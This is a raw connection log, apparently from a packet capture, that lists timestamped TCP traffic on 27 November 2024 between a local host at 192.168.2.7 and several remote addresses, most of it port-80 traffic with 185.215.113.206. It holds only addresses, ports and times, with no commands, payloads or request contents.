Nov 27, 2024 17:58:58.019895077 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.019898891 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.019933939 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.023122072 CET	443	49887	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:58.023185015 CET	443	49887	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:58.023247957 CET	49887	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:58.078306913 CET	443	49896	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:58.078471899 CET	443	49896	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:58.078560114 CET	49896	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:58.087240934 CET	443	49889	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:58.087296963 CET	443	49889	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:58.087358952 CET	49889	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:58.106755972 CET	49886	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:58.106765032 CET	49887	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:58.106779099 CET	443	49886	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:58.106786966 CET	443	49887	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:58.106790066 CET	49886	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:58.106797934 CET	443	49886	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:58.109078884 CET	49896	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:58.109096050 CET	443	49896	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:58.109600067 CET	49889	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:58.109612942 CET	443	49889	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:58.109626055 CET	49889	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:58.109632015 CET	443	49889	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:58.110893965 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:58.110929966 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:58.111181974 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:58.112412930 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:58.112430096 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:58.116130114 CET	49903	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:58.116158009 CET	443	49903	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:58.116405010 CET	49903	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:58.117728949 CET	49904	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:58.117810011 CET	443	49904	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:58.117932081 CET	49904	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:58.118803978 CET	49905	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:58.118834972 CET	443	49905	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:58.119096994 CET	49905	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:58.119297028 CET	49903	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:58.119321108 CET	443	49903	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:58.119626999 CET	49904	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:58.119677067 CET	443	49904	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:58.119752884 CET	49906	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:58.119777918 CET	443	49906	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:58.119904995 CET	49906	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:58.119935036 CET	49905	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:58.119949102 CET	443	49905	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:58.120124102 CET	49906	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:58.120156050 CET	443	49906	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:58.155929089 CET	49907	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:58.155966997 CET	443	49907	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:58.156043053 CET	49907	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:58.156286955 CET	49907	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:58.156296015 CET	443	49907	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:58.163249969 CET	443	49888	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:58.163337946 CET	443	49888	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:58.163494110 CET	49888	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:58.163757086 CET	49888	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:58.163757086 CET	49888	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:58.163770914 CET	443	49888	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:58.163779974 CET	443	49888	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:58.167092085 CET	49908	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:58.167121887 CET	443	49908	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:58.167181015 CET	49908	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:58.167347908 CET	49908	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:58.167361021 CET	443	49908	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:58.187401056 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.187462091 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.187542915 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.187655926 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.187823057 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.187870979 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.187944889 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.188009024 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.188430071 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.188484907 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.188541889 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.188587904 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.189306974 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.189423084 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.189429045 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.189466000 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.190210104 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.190274000 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.190296888 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.190412045 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.190958977 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.191009045 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.191098928 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.191140890 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.191778898 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.191848993 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.191879988 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.191917896 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.192612886 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.192734003 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.192783117 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.193444967 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.193504095 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.193537951 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.193579912 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.194272041 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.194331884 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.194356918 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.194406986 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.195154905 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.195430994 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.195435047 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.195635080 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.195986032 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.196050882 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.196055889 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.196100950 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.196763039 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.196815968 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.196825027 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.196870089 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.197629929 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.197844982 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.208168030 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.208230019 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.208255053 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.208384037 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.208395958 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.208400965 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.208426952 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.208441019 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.209204912 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.209218979 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.209271908 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.209918022 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.209984064 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.210010052 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.210091114 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.210786104 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.210827112 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.210882902 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.210922956 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.211571932 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.211623907 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.211687088 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.211730957 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.212435961 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.212466955 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.212517023 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.213182926 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.213232040 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.213285923 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.213325977 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.214061975 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.214112043 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.214183092 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.214232922 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.215039015 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.215085983 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.215214968 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.215265036 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.217237949 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.217289925 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.217343092 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.217355013 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.217391014 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.217488050 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.217499018 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.217514038 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.217541933 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.217556000 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.218246937 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.218305111 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.218388081 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.218437910 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.219232082 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.219285011 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.219433069 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.219499111 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.220603943 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.220653057 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.220767021 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.220818996 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.221424103 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.221471071 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.221477985 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.221522093 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.222476959 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.222527027 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.222767115 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.222816944 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.223637104 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.223692894 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.223820925 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.224010944 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.224512100 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.224569082 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.224786997 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.224829912 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.225769043 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.225847006 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.225927114 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.225970984 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.226818085 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.226864100 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.226897001 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.226999044 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.227848053 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.227900982 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.228118896 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.228168011 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.229094982 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.229142904 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.229242086 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.229281902 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.229824066 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.229870081 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.229975939 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.230149984 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.230410099 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.230457067 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.230509043 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.230552912 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.231044054 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.231101990 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.231128931 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.231189966 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.231769085 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.231806040 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.231829882 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.231885910 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.232362032 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.232422113 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.232508898 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.232552052 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.233023882 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.233088970 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.233107090 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.233194113 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.233906984 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.233958960 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.234020948 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.234086990 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.234708071 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.234752893 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.234895945 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.234999895 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.235430002 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.235476971 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.235533953 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.235682964 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.236299038 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.236346960 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.236491919 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.236536980 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.237128973 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.237180948 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.237247944 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.237298965 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.237828970 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.237919092 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.237938881 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.237960100 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.238426924 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.238473892 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.238477945 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.238531113 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.239053011 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.239099026 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.239120960 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.239226103 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.239993095 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.240053892 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.240082979 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.240082979 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.240926981 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.240972042 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.240979910 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.241015911 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.399108887 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.399149895 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.399187088 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.399214983 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.399456024 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.399507046 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.399552107 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.399615049 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.400295019 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.400352001 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.400594950 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.400641918 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.401108027 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.401161909 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.401176929 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.401206017 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.402266026 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.402334929 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.402487993 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.402544022 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.403477907 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.403521061 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.403554916 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.403589964 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.404664993 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.404716015 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.404787064 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.404839993 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.405396938 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.405441999 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.405468941 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.405641079 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.406018019 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.406065941 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.406141996 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.406181097 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.406886101 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.406933069 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.406953096 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.407004118 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.407674074 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.407733917 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.407768965 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.407819033 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.408468962 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.408525944 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.408655882 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.408711910 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.409197092 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.409239054 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.409239054 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.409279108 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.409826994 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.409887075 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.412214041 CET	49909	443	192.168.2.7	23.44.203.75
Nov 27, 2024 17:58:58.412239075 CET	443	49909	23.44.203.75	192.168.2.7
Nov 27, 2024 17:58:58.412383080 CET	49909	443	192.168.2.7	23.44.203.75
Nov 27, 2024 17:58:58.413006067 CET	49909	443	192.168.2.7	23.44.203.75
Nov 27, 2024 17:58:58.413014889 CET	443	49909	23.44.203.75	192.168.2.7
Nov 27, 2024 17:58:58.413300991 CET	49910	443	192.168.2.7	23.44.203.75
Nov 27, 2024 17:58:58.413341999 CET	443	49910	23.44.203.75	192.168.2.7
Nov 27, 2024 17:58:58.413388968 CET	49910	443	192.168.2.7	23.44.203.75
Nov 27, 2024 17:58:58.413660049 CET	49910	443	192.168.2.7	23.44.203.75
Nov 27, 2024 17:58:58.413676023 CET	443	49910	23.44.203.75	192.168.2.7
Nov 27, 2024 17:58:58.414783955 CET	49911	443	192.168.2.7	204.79.197.219
